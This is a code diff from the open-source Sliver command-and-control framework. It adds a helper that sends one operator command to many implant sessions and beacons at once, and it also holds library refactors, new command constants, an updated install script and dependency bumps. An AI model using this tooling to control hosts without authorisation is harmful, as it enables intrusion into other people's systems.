// Helper function to wrap grumble commands with taskmany logic
func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command {
wc := &cobra.Command{
Use: c.Use,
Short: c.Short,
Long: c.Long,
Args: c.Args,
Run: wrapFunctionWithTaskmany(con, c.Run),
}
wc.Flags().AddFlagSet(c.Flags())
wc.PersistentFlags().AddFlagSet(c.PersistentFlags())
return wc
}
// Wrap a function to run it for each beacon / session
func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) {
return func(cmd *cobra.Command, args []string) {
defer con.Println()
sessions, beacons, err := SelectMultipleBeaconsAndSessions(con)
if err != nil {
con.Println()
con.PrintErrorf("%s\n", err)
return
}
con.Println()
// Save current active beacon or session
origSession, origBeacon := con.ActiveTarget.Get()
nB := 0
nBSkipped := 0
for _, b := range beacons {
if !b.IsDead {
con.ActiveTarget.Set(nil, b)
f(cmd, args)
nB += 1
} else {
nBSkipped += 1
}
}
nS := 0
nSSkipped := 0
for _, s := range sessions {
if !s.IsDead {
con.ActiveTarget.Set(s, nil)
f(cmd, args)
nS += 1
} else {
nSSkipped += 1
}
}
// Restore active session / beacon
con.ActiveTarget.Set(origSession, origBeacon)
con.PrintInfof("Tasked %d sessions and %d beacons >:D\n", nS, nB)
if nBSkipped > 0 || nSSkipped > 0 {
con.PrintWarnf("Skipped %d dead sessions and %d dead beacons\n", nSSkipped, nBSkipped)
}
}
}
func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) {
// Get and sort sessions
sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessions := sessionsObj.Sessions
sort.Slice(sessions, func(i, j int) bool {
return sessions[i].ID < sessions[j].ID
})
// Get and sort beacons
beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beacons := beaconsObj.Beacons
sort.Slice(beacons, func(i, j int) bool {
return beacons[i].ID < beacons[j].ID
})
if len(beacons) == 0 && len(sessions) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
sessionOptionMap := map[string]*clientpb.Session{}
for _, session := range sessions {
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
"SESSION",
strings.Split(session.ID, "-")[0],
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
fmt.Fprintf(table, option+"\n")
o := strings.ReplaceAll(option, "\t", "")
sessionOptionMap[o] = session
}
beaconOptionMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons {
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
"BEACON",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
fmt.Fprintf(table, option+"\n")
o := strings.ReplaceAll(option, "\t", "")
beaconOptionMap[o] = beacon
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
if len(selected) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons selected 🤔")
}
selectedSessions := []*clientpb.Session{}
selectedBeacons := []*clientpb.Beacon{}
for _, s := range selected {
s = strings.ReplaceAll(s, " ", "")
s = strings.ReplaceAll(s, "\t", "")
session, ok := sessionOptionMap[s]
if ok {
selectedSessions = append(selectedSessions, session)
}
beacon, ok := beaconOptionMap[s]
if ok {
selectedBeacons = append(selectedBeacons, beacon)
}
}
return selectedSessions, selectedBeacons, nil
}
+1 -2
View File
@@ -20,7 +20,6 @@ package tasks
import (
"context"
"io/ioutil"
"os"
"strings"
"time"
@@ -782,7 +781,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
return
}
}
err = ioutil.WriteFile(saveTo, data, 0o600)
err = os.WriteFile(saveTo, data, 0o600)
if err != nil {
con.PrintErrorf("Failed to save file: %s\n", err)
return
+1 -2
View File
@@ -23,7 +23,6 @@ import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
@@ -120,7 +119,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
if err != nil {
con.Printf("Failed to save update check time %s", err)
}
+2 -2
View File
@@ -23,8 +23,8 @@ import (
"context"
"encoding/base64"
"encoding/hex"
"io/ioutil"
"net"
"os"
"strings"
"text/template"
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if !strings.HasSuffix(save, ".conf") {
save += ".conf"
}
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
err = os.WriteFile(save, output.Bytes(), 0o600)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+5 -2
View File
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
consoleLog := getConsoleLogFile()
consoleLogStream, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client log stream: %s", err)
log.Printf("Could not get client json log stream: %s", err)
}
con.setupLogger(consoleLog, consoleLogStream)
defer consoleLog.Close()
@@ -202,6 +202,9 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
defer asciicastLog.Close()
asciicastStream, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
}
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
@@ -547,7 +550,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Priority: uint32(0),
})
config := &clientpb.ImplantConfig{
Name: session.GetName(),
ID: session.ID,
GOOS: session.GetOS(),
GOARCH: session.GetArch(),
Debug: true,
+1 -1
View File
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
logger := slog.New(con.jsonHandler)
format := strings.Repeat("%s", len(args))
logger.Info(fmt.Sprintf(format, args))
con.printf(format, args...)
con.printf(format+"\n", args...)
}
// PrintInfof prints an info message immediately below the last line of output.
+16 -5
View File
@@ -127,6 +127,7 @@ const (
BackgroundStr = "background"
InfoStr = "info"
UseStr = "use"
TaskmanyStr = "taskmany"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
@@ -142,6 +143,8 @@ const (
SettingsStr = "settings"
SearchStr = "search"
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
// Generic
@@ -179,6 +182,7 @@ const (
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp"
UDPListenerStr = "udp"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -198,12 +202,17 @@ const (
LsStr = "ls"
MvStr = "mv"
CpStr = "cp"
RmStr = "rm"
StageStr = "stage"
MkdirStr = "mkdir"
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
GrepStr = "grep"
UploadStr = "upload"
IfconfigStr = "ifconfig"
NetstatStr = "netstat"
@@ -253,6 +262,7 @@ const (
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
MonitorConfigStr = "config"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
@@ -285,11 +295,12 @@ const (
BuildersStr = "builders"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
DefaultC2Profile = "default"
)
// Groups
+2 -2
View File
@@ -22,7 +22,7 @@ import (
"bytes"
"context"
"errors"
"io/ioutil"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
loaderData, err := os.ReadFile(loaderPath)
if err != nil {
return err
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"io"
"net"
"net/http"
"strings"
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
return io.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
+2 -2
View File
@@ -3,7 +3,7 @@ package version
import (
"encoding/json"
"errors"
"io/ioutil"
"io"
"net/http"
"os"
"strconv"
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
+65 -50
View File
@@ -1,47 +1,46 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
SLIVER_GPG_KEY_ID="4449039C"
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
cd /root
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
@@ -96,42 +95,53 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
#
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
@@ -157,7 +167,11 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
@@ -167,10 +181,11 @@ chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.20.4"
GARBLE_VER="1.20.4a"
GO_VER="1.21.4"
GARBLE_VER="1.21.4b"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
+8 -8
View File
@@ -67,6 +67,14 @@ else
exit 1
fi
# util / minisign
if go test -tags=server,$TAGS ./util/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
## Implant
# implant / sliver / extension
@@ -131,14 +139,6 @@ else
exit 1
fi
# server / cryptography / minisign
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
+104 -40
View File
@@ -1,11 +1,14 @@
module github.com/bishopfox/sliver
go 1.20
go 1.21.1
toolchain go1.21.4
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
require (
github.com/AlecAivazis/survey/v2 v2.3.6
filippo.io/age v1.1.1
github.com/AlecAivazis/survey/v2 v2.3.7
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
@@ -15,115 +18,176 @@ require (
github.com/cheggaaa/pb/v3 v3.1.2
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
github.com/chromedp/chromedp v0.9.1
github.com/glebarez/sqlite v1.8.0
github.com/fatih/color v1.15.0
github.com/glebarez/sqlite v1.10.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/google/uuid v1.3.1
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.4.6
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/klauspost/compress v1.16.5
github.com/klauspost/compress v1.17.0
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.17
github.com/miekg/dns v1.1.54
github.com/miekg/dns v1.1.56
github.com/moloch--/asciicast v0.1.0
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/ncruces/go-sqlite3 v0.7.0
github.com/pquerna/otp v1.4.0
github.com/ncruces/go-sqlite3 v0.7.2
github.com/reeflective/console v0.1.6
github.com/reeflective/readline v1.0.8
github.com/rsteube/carapace v0.36.3
github.com/sirupsen/logrus v1.9.3
github.com/spf13/cobra v1.7.0
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.8.1
github.com/tetratelabs/wazero v1.2.0
github.com/stretchr/testify v1.8.4
github.com/tetratelabs/wazero v1.3.1
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.9.0
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1
golang.org/x/net v0.10.0
golang.org/x/sys v0.8.0
golang.org/x/term v0.8.0
golang.org/x/text v0.9.0
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.org/x/crypto v0.15.0
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
golang.org/x/net v0.17.0
golang.org/x/sys v0.14.0
golang.org/x/term v0.14.0
golang.org/x/text v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.55.0
google.golang.org/protobuf v1.30.0
google.golang.org/grpc v1.59.0
google.golang.org/protobuf v1.31.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
gorm.io/driver/sqlite v1.5.1
gorm.io/gorm v1.25.1
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.22.1
gorm.io/driver/sqlite v1.5.2
gorm.io/gorm v1.25.5
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6
modernc.org/sqlite v1.27.0
tailscale.com v1.54.0
)
require (
cloud.google.com/go/compute/metadata v0.2.3 // indirect
filippo.io/edwards25519 v1.0.0 // indirect
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.6.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.2.0 // indirect
github.com/akutz/memconn v0.1.0 // indirect
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/aws/aws-sdk-go-v2 v1.21.0 // indirect
github.com/aws/aws-sdk-go-v2/config v1.18.42 // indirect
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 // indirect
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 // indirect
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 // indirect
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 // indirect
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 // indirect
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 // indirect
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 // indirect
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 // indirect
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 // indirect
github.com/aws/smithy-go v1.14.2 // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/coreos/go-iptables v0.7.0 // indirect
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/fatih/color v1.15.0 // indirect
github.com/fxamacker/cbor/v2 v2.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/glebarez/go-sqlite v1.21.1 // indirect
github.com/glebarez/go-sqlite v1.21.2 // indirect
github.com/go-ole/go-ole v1.3.0 // indirect
github.com/go-sql-driver/mysql v1.7.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/btree v1.1.2 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
github.com/gorilla/csrf v1.7.1 // indirect
github.com/gorilla/securecookie v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/hdevalence/ed25519consensus v0.1.0 // indirect
github.com/illarion/gonotify v1.0.1 // indirect
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/jmespath/go-jmespath v0.4.0 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect
github.com/jsimonetti/rtnetlink v1.3.5 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mdlayher/genetlink v1.3.2 // indirect
github.com/mdlayher/netlink v1.7.2 // indirect
github.com/mdlayher/sdnotify v1.0.0 // indirect
github.com/mdlayher/socket v0.5.0 // indirect
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/ncruces/julianday v0.1.5 // indirect
github.com/pierrec/lz4/v4 v4.1.18 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/rivo/uniseg v0.4.4 // indirect
github.com/rogpeppe/go-internal v1.10.0 // indirect
github.com/safchain/ethtool v0.3.0 // indirect
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e // indirect
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a // indirect
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d // indirect
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 // indirect
github.com/tcnksm/go-httpstat v0.2.0 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.8.0 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.6.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 // indirect
github.com/vishvananda/netlink v1.2.1-beta.2 // indirect
github.com/vishvananda/netns v0.0.4 // indirect
github.com/x448/float16 v0.8.4 // indirect
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect
golang.org/x/mod v0.13.0 // indirect
golang.org/x/sync v0.4.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.14.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
inet.af/peercred v0.0.0-20210906144145-0893ea02156a // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13 // indirect
modernc.org/libc v1.22.5 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.5.0 // indirect
modernc.org/libc v1.29.0 // indirect
modernc.org/mathutil v1.6.0 // indirect
modernc.org/memory v1.7.2 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
nhooyr.io/websocket v1.8.7 // indirect
)
+310 -85
View File
@@ -1,10 +1,18 @@
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
cloud.google.com/go/compute v1.18.0 h1:FEigFqoDbys2cvFkZ9Fjq4gnHBP55anJ0yQyau2f9oY=
cloud.google.com/go/compute v1.23.0 h1:tP41Zoavr8ptEqaW6j+LQOnyBBhO7OkOMAGrgLopTwY=
cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek=
filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
